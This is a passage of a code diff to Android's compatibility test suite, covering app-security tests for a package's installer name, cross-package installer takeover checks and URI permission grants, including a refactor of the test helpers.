+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml
@@ -24,7 +24,7 @@
android:targetPackage="com.android.cts.packageinstallerpermissionrequestapp"
android:label="Test for unset package installer permission exploit."/>
- <application>
+ <application android:debuggable="true">
<uses-library android:name="android.test.runner" />
</application>
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
index b731a05..94dc075 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
@@ -29,7 +29,7 @@
"general-tests",
],
sdk_version: "test_current",
- target_sdk_version: "30",
+ target_sdk_version: "29",
// sign this app with a different cert than CtsPkgInstallerPermRequestApp
certificate: ":cts-testkey1",
}
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml
index d54b9c5..ecc544f 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
android:targetPackage="com.android.cts.packageinstallerpermissionwhitelistapp"
android:label="Test for unset package installer permission exploit."/>
- <application>
+ <application android:debuggable="true">
<uses-library android:name="android.test.runner" />
</application>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index dd43c7f..57bb99c 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -15,7 +15,10 @@
android_test_helper_app {
name: "CtsPermissionDeclareApp",
defaults: ["cts_support_defaults"],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.kt",
+ ],
sdk_version: "current",
static_libs: ["androidx.test.rules"],
// tag this module as a cts test artifact
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
index 9188993..1282c45 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
@@ -32,6 +32,14 @@
<permission android:name="com.android.cts.permissionNormal" />
+ <!-- To set package installer -->
+ <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.permissiondeclareapp"
+ />
+
<application>
<provider android:name="UtilsProvider"
android:authorities="com.android.cts.permissiondeclareapp"
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/ModifyInstallerCrossPackageTest.kt b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/ModifyInstallerCrossPackageTest.kt
new file mode 100644
index 0000000..23609fd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/ModifyInstallerCrossPackageTest.kt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.permissiondeclareapp
+
+import android.Manifest
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import org.junit.AfterClass
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.BeforeClass
+import org.junit.Test
+import org.junit.runner.RunWith
+
+/**
+ * The companion to UsePermissionDiffCert's ModifyInstallerCrossPackageTest which sets its own
+ * installer package. These are purposely named identically so that the host test doesn't need
+ * to swap test class names.
+ */
+@RunWith(AndroidJUnit4::class)
+class ModifyInstallerCrossPackageTest {
+
+ companion object {
+ @JvmStatic
+ @BeforeClass
+ fun adoptPermissions() {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES)
+ }
+
+ @JvmStatic
+ @AfterClass
+ fun dropPermissions() {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity()
+ }
+ }
+
+ private val context = InstrumentationRegistry.getContext()
+ private val packageManager = context.packageManager
+
+ /**
+ * Excludes this test when running an instrumentation runner against the entire package,
+ * requiring a specific call and parameter to have the method run. Parses as a string since
+ * that's all that runDeviceTests supports.
+ *
+ * Must be @[Before] because testing reporting infrastructure doesn't support assumptions in
+ * @[BeforeClass].
+ */
+ @Before
+ fun assumeRunExplicit() {
+ assumeTrue(InstrumentationRegistry.getArguments()
+ .getString(UtilsProvider.EXTRA_RUN_EXPLICIT)?.toBoolean() ?: false)
+ }
+
+ @Test
+ fun takeInstaller() {
+ packageManager.setInstallerPackageName(context.packageName, context.packageName)
+ }
+
+ @Test
+ fun clearInstaller() {
+ packageManager.setInstallerPackageName(context.packageName, null)
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
index ca23d8f..39da864 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
@@ -35,6 +35,7 @@
public static final String ACTION_GRANT_URI = "grantUri";
public static final String ACTION_REVOKE_URI = "revokeUri";
public static final String ACTION_START_ACTIVITY = "startActivity";
+ public static final String ACTION_START_ACTIVITIES = "startActivities";
public static final String ACTION_START_SERVICE = "startService";
public static final String ACTION_VERIFY_OUTGOING_PERSISTED = "verifyOutgoingPersisted";
public static final String ACTION_SET_PRIMARY_CLIP = "setPrimaryClip";
@@ -46,6 +47,7 @@
public static final String EXTRA_INTENT = Intent.EXTRA_INTENT;
public static final String EXTRA_URI = "uri";
public static final String EXTRA_MODE = "mode";
+ public static final String EXTRA_RUN_EXPLICIT = "runExplicit";
@Override
public Bundle call(String method, String arg, Bundle extras) {
@@ -69,6 +71,11 @@
newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(newIntent);
+ } else if (ACTION_START_ACTIVITIES.equals(action)) {
+ final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
+ newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivities(new Intent[] { newIntent });
+
} else if (ACTION_START_SERVICE.equals(action)) {
final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
context.startService(newIntent);
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index d287311..f507d40 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -45,6 +45,8 @@
import android.os.storage.StorageManager;
import android.provider.Settings;
import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
import android.test.InstrumentationTestCase;
@@ -100,6 +102,12 @@
device.waitForIdle();
if (!isTV(getContext())) {
+ UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+ try {
+ uiScrollable.scrollTextIntoView("internal storage");
+ } catch (UiObjectNotFoundException e) {
+ // Scrolling can fail if the UI is not scrollable
+ }
device.findObject(new UiSelector().textContains("internal storage")).click();
device.waitForIdle();
}
@@ -327,4 +335,4 @@
PackageManager pm = context.getPackageManager();
return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
index 316f7ea..f8bde12 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -17,11 +17,13 @@
defaults: ["cts_support_defaults"],
srcs: [
"src/**/*.java",
+ "src/**/*.kt",
],
sdk_version: "current",
static_libs: [
"CtsPermissionDeclareUtilLib",
"androidx.test.rules",
+ "testng",
"truth-prebuilt",
],
libs: ["android.test.base.stubs"],
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
index 18f6096..615d6dc 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
@@ -17,6 +17,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.usespermissiondiffcertapp">
+ <uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
+
<!-- We say we want to use the other app's permission, but it is signed with
a different cert so it should fail. -->
<uses-permission android:name="com.android.cts.permissionWithSignature"/>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerCrossPackageTest.kt b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerCrossPackageTest.kt
new file mode 100644
index 0000000..f652a27
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerCrossPackageTest.kt
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.usespermissiondiffcertapp
+
+import android.Manifest
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import com.android.cts.permissiondeclareapp.UtilsProvider
+import com.android.cts.usespermissiondiffcertapp.ModifyInstallerPackageTest.MY_PACKAGE
+import com.android.cts.usespermissiondiffcertapp.ModifyInstallerPackageTest.OTHER_PACKAGE
+import com.android.cts.usespermissiondiffcertapp.ModifyInstallerPackageTest.assertPackageInstallerAndInitiator
+import org.junit.AfterClass
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.BeforeClass
+import org.junit.Test
+import org.junit.runner.RunWith
+import org.testng.Assert.assertThrows
+
+/**
+ * Tests that one application can and can not modify the installer package
+ * of another application is appropriate.
+ *
+ * This is split from [ModifyInstallerPackageTest] to allow the host side test to instrument
+ * both this app and PermissionDeclareApp in alternating fashion, using adoptShellPermissionIdentity
+ * to grant them the INSTALL_PACKAGES permission they would normally not be able to hold inside CTS.
+ */
+@RunWith(AndroidJUnit4::class)
+class ModifyInstallerCrossPackageTest {
+
+ companion object {
+ @JvmStatic
+ @BeforeClass
+ fun adoptPermissions() {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES)
+ }
+
+ @JvmStatic
+ @AfterClass
+ fun dropPermissions() {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity()
+ }
+ }
+
+ private val context = InstrumentationRegistry.getContext()
+ private val packageManager = context.packageManager
+
+ /**
+ * Excludes this test when running an instrumentation runner against the entire package,
+ * requiring a specific call and parameter to have the method run. Parses as a string since
+ * that's all that runDeviceTests supports.
+ *
+ * Must be @[Before] because testing reporting infrastructure doesn't support assumptions in
+ * @[BeforeClass].
+ */
+ @Before
+ fun assumeRunExplicit() {
+ assumeTrue(InstrumentationRegistry.getArguments()
+ .getString(UtilsProvider.EXTRA_RUN_EXPLICIT)?.toBoolean() ?: false)
+ }
+
+ @Test
+ fun assertBefore() {
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, packageManager)
+ }
+
+ @Test
+ fun attemptTakeOver() {
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null, packageManager)
+ assertThrows { packageManager.setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE) }
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null, packageManager)
+ }
+
+ @Test
+ fun assertAfter() {
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, packageManager)
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
index a204f47..ec9663c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
@@ -16,58 +16,100 @@
package com.android.cts.usespermissiondiffcertapp;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_INSTALLER_PACKAGE_NAME;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_INSTALLER_PACKAGE_NAME;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_PACKAGE_NAME;
-
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
import android.content.Intent;
import android.content.pm.InstallSourceInfo;
import android.content.pm.PackageManager;
import android.content.pm.SigningInfo;
import android.os.Bundle;
-import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.cts.permissiondeclareapp.UtilsProvider;
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
/**
* Tests that one application can and can not modify the installer package
* of another application is appropriate.
*
* Accesses app cts/tests/appsecurity-tests/test-apps/PermissionDeclareApp/...
*/
-public class ModifyInstallerPackageTest extends AndroidTestCase {
- private static final String OTHER_PACKAGE = "com.android.cts.permissiondeclareapp";
- private static final String MY_PACKAGE = "com.android.cts.usespermissiondiffcertapp";
+@RunWith(AndroidJUnit4.class)
+public class ModifyInstallerPackageTest {
+ static final String OTHER_PACKAGE = "com.android.cts.permissiondeclareapp";
+ static final String MY_PACKAGE = "com.android.cts.usespermissiondiffcertapp";
- private PackageManager mPM;
+ static void assertPackageInstallerAndInitiator(String packageName,
+ String expectedInstaller, String expectedInitiator, PackageManager packageManager)
+ throws Exception {
+ assertEquals(expectedInstaller, packageManager.getInstallerPackageName(packageName));
+ final InstallSourceInfo installSourceInfo =
+ packageManager.getInstallSourceInfo(packageName);
+ assertEquals(expectedInstaller, installSourceInfo.getInstallingPackageName());
+ assertEquals(expectedInitiator, installSourceInfo.getInitiatingPackageName());
- public void setUp() throws Exception {
- super.setUp();
- mPM = getContext().getPackageManager();
+ // We should get the initiator's signature iff we have an initiator.
+ if (expectedInitiator == null) {
+ assertNull(installSourceInfo.getInitiatingPackageSigningInfo());
+ } else {
+ final SigningInfo expectedSigning = packageManager.getPackageInfo(expectedInitiator,
+ PackageManager.GET_SIGNING_CERTIFICATES).signingInfo;
+ final SigningInfo actualSigning = installSourceInfo.getInitiatingPackageSigningInfo();
+ assertThat(actualSigning.getApkContentsSigners()).asList()
+ .containsExactlyElementsIn(expectedSigning.getApkContentsSigners());
+ }
+ }
+
+ private Context context = InstrumentationRegistry.getContext();
+
+ private PackageManager mPM = context.getPackageManager();
+
+ @BeforeClass
+ public static void adoptPermissions() {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES);
+ }
+
+ @AfterClass
+ public static void dropPermissions() {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
}
/**
* Test that we can set the installer package name (but not the initiating package name).
*/
- public void testSetInstallPackage() throws Exception {
+ @Test
+ public void setInstallPackage() throws Exception {
// Pre-condition.
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
mPM.setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE);
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, MY_PACKAGE, null);
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, MY_PACKAGE, null, mPM);
// Clean up.
mPM.setInstallerPackageName(OTHER_PACKAGE, null);
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
}
/**
* Test that we fail if trying to set an installer package with an unknown
* target package name.
*/
- public void testSetInstallPackageBadTarget() throws Exception {
+ @Test
+ public void setInstallPackageBadTarget() throws Exception {
try {
mPM.setInstallerPackageName("thisdoesnotexistihope!", MY_PACKAGE);
fail("setInstallerPackageName did not throw IllegalArgumentException");
@@ -80,23 +122,25 @@
* Test that we fail if trying to set an installer package with an unknown
* installer package name.
*/
- public void testSetInstallPackageBadInstaller() throws Exception {
+ @Test
+ public void setInstallPackageBadInstaller() throws Exception {
try {
mPM.setInstallerPackageName(OTHER_PACKAGE, "thisdoesnotexistihope!");
fail("setInstallerPackageName did not throw IllegalArgumentException");
} catch (IllegalArgumentException e) {
// That's what we want!
}
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
}
/**
* Test that we fail if trying to set an installer package that is not
* signed with our cert.
*/
- public void testSetInstallPackageWrongCertificate() throws Exception {
+ @Test
+ public void setInstallPackageWrongCertificate() throws Exception {
// Pre-condition.
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
try {
mPM.setInstallerPackageName(OTHER_PACKAGE, OTHER_PACKAGE);
@@ -105,66 +149,12 @@
// That's what we want!
}
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
- }
-
- /**
- * Test that we fail if trying to set an installer package that is not
- * signed with the same cert as the currently set installer.
- */
- public void testSetInstallPackageConflictingInstaller() throws Exception {
- // Pre-condition.
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
-
- // Have the other package set the installer, under its cert.
- Intent intent = new Intent();
- intent.setAction(ACTION_SET_INSTALLER_PACKAGE_NAME);
- intent.putExtra(EXTRA_PACKAGE_NAME, OTHER_PACKAGE);
- intent.putExtra(EXTRA_INSTALLER_PACKAGE_NAME, OTHER_PACKAGE);
- call(intent);
-
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null);
-
- try {
- mPM.setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE);
- fail("setInstallerPackageName did not throw SecurityException");
- } catch (SecurityException e) {
- // That's what we want!
- }
-
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null);
-
- // Now clear the installer
- intent.setAction(ACTION_SET_INSTALLER_PACKAGE_NAME);
- intent.putExtra(EXTRA_PACKAGE_NAME, OTHER_PACKAGE);
- intent.putExtra(EXTRA_INSTALLER_PACKAGE_NAME, (String)null);
- call(intent);
-
- assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
- }
-
- private void assertPackageInstallerAndInitiator(String packageName, String expectedInstaller,
- String expectedInitiator) throws Exception {
- assertEquals(expectedInstaller, mPM.getInstallerPackageName(packageName));
- final InstallSourceInfo installSourceInfo = mPM.getInstallSourceInfo(packageName);
- assertEquals(expectedInstaller, installSourceInfo.getInstallingPackageName());
- assertEquals(expectedInitiator, installSourceInfo.getInitiatingPackageName());
-
- // We should get the initiator's signature iff we have an initiator.
- if (expectedInitiator == null) {
- assertNull(installSourceInfo.getInitiatingPackageSigningInfo());
- } else {
- final SigningInfo expectedSigning = mPM.getPackageInfo(expectedInitiator,
- PackageManager.GET_SIGNING_CERTIFICATES).signingInfo;
- final SigningInfo actualSigning = installSourceInfo.getInitiatingPackageSigningInfo();
- assertThat(actualSigning.getApkContentsSigners()).asList()
- .containsExactlyElementsIn(expectedSigning.getApkContentsSigners());
- }
+ assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
}
private void call(Intent intent) {
final Bundle extras = new Bundle();
extras.putParcelable(Intent.EXTRA_INTENT, intent);
- getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
+ context.getContentResolver().call(UtilsProvider.URI, "", "", extras);
}
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
index 26a2eee..132d7f6 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
@@ -22,7 +22,8 @@
import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivities;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
import static junit.framework.Assert.fail;
@@ -85,7 +86,7 @@
// --------------------------------
ReceiveUriActivity.clearStarted();
- grantClipUriPermission(subClip, mode, false);
+ grantClipUriPermissionViaActivities(subClip, mode);
ReceiveUriActivity.waitForStart();
assertAccess(uri, 0);
@@ -99,7 +100,7 @@
// --------------------------------
ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(sub2Clip, mode, false);
+ grantClipUriPermissionViaActivity(sub2Clip, mode);
ReceiveUriActivity.waitForNewIntent();
assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
index 7be059f..444c1bf 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
@@ -22,7 +22,7 @@
import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaService;
import static junit.framework.Assert.fail;
@@ -79,7 +79,7 @@
// --------------------------------
ReceiveUriService.clearStarted();
- grantClipUriPermission(subClip, mode, true);
+ grantClipUriPermissionViaService(subClip, mode);
ReceiveUriService.waitForStart();
int firstStartId = ReceiveUriService.getCurStartId();
@@ -96,7 +96,7 @@
// Send another Intent to it.
ReceiveUriService.clearStarted();
- grantClipUriPermission(sub2Clip, mode, true);
+ grantClipUriPermissionViaService(sub2Clip, mode);
ReceiveUriService.waitForStart();
assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
index a955dbc..8058d5b 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
@@ -23,7 +23,7 @@
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipAllowed;
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaContext;
import static com.android.cts.usespermissiondiffcertapp.Utils.revokeClipUriPermissionViaContext;
@@ -104,8 +104,8 @@
// Now, let's grant ourselves some access
ReceiveUriActivity.clearStarted();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+ grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
ReceiveUriActivity.waitForStart();
// We should now have reading access, even before taking the persistable
@@ -129,9 +129,9 @@
// Launch again giving ourselves persistable read and write access
ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
- | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
ReceiveUriActivity.waitForNewIntent();
// Previous persisted grant should be unchanged
@@ -190,8 +190,8 @@
// Give ourselves prefix read access
ReceiveUriActivity.clearStarted();
- grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+ grantClipUriPermissionViaActivity(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
ReceiveUriActivity.waitForStart();
// Verify prefix read access
@@ -204,7 +204,7 @@
// Now give ourselves exact write access
ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
+ grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
ReceiveUriActivity.waitForNewIntent();
// Verify we have exact write access, but not prefix write
@@ -233,9 +233,9 @@
// Give ourselves prefix read access
ReceiveUriActivity.clearStarted();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
- | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+ | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
ReceiveUriActivity.waitForStart();
// Verify prefix read access
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
index 48cac57..62bad1f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
@@ -20,6 +20,7 @@
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
